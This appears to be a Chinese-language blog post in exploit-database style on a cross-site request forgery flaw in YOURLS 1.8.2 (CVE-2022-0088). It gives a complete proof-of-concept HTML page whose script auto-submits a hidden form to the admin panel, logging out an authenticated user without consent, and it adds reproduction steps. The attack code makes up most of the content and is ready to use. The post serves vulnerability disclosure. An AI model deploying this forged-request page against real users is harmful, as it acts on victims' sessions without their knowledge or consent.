YOURLS 1.8.2 跨站请求伪造 (CSRF) 漏洞分析与利用

本文详细分析了YOURLS 1.8.2版本中存在的跨站请求伪造 (CSRF) 漏洞(CVE-2022-0088)。文章提供了完整的漏洞概念验证 (PoC) HTML代码,并阐述了漏洞的利用原理与复现步骤,涉及前端HTML、JavaScript及后台PHP Web应用的安全交互。

Exploit Title: YOURLS 1.8.2 - 跨站请求伪造 (CSRF)

Date: 2025-11-25

Exploit Author: CodeSecLab

Vendor Homepage: https://github.com/yourls/yourls/

Software Link: https://github.com/yourls/yourls/

Version: 1.8.2

Tested on: Windows

CVE : CVE-2022-0088

概念验证 (Proof of Concept)

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>CSRF PoC</title>
</head>
<body>
    <h1>CSRF Proof of Concept</h1>
    <form action="http://yourls/admin/index.php" method="GET">
        <input type="hidden" name="action" value="logout">
        <input type="submit" value="Submit CSRF Request">
    </form>
    <script>
        document.forms[0].submit();
    </script>
</body>
</html>

此HTML页面在已认证的易受攻击应用程序用户访问时,会自动提交一个请求,在未经用户同意的情况下使其注销,从而演示了CSRF漏洞。

复现步骤 (Steps to Reproduce)

  1. 将上述代码保存为 poc.html
  2. 登录你的YOURLS实例,并在同一浏览器中打开该文件。
  3. 观察结果。
comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计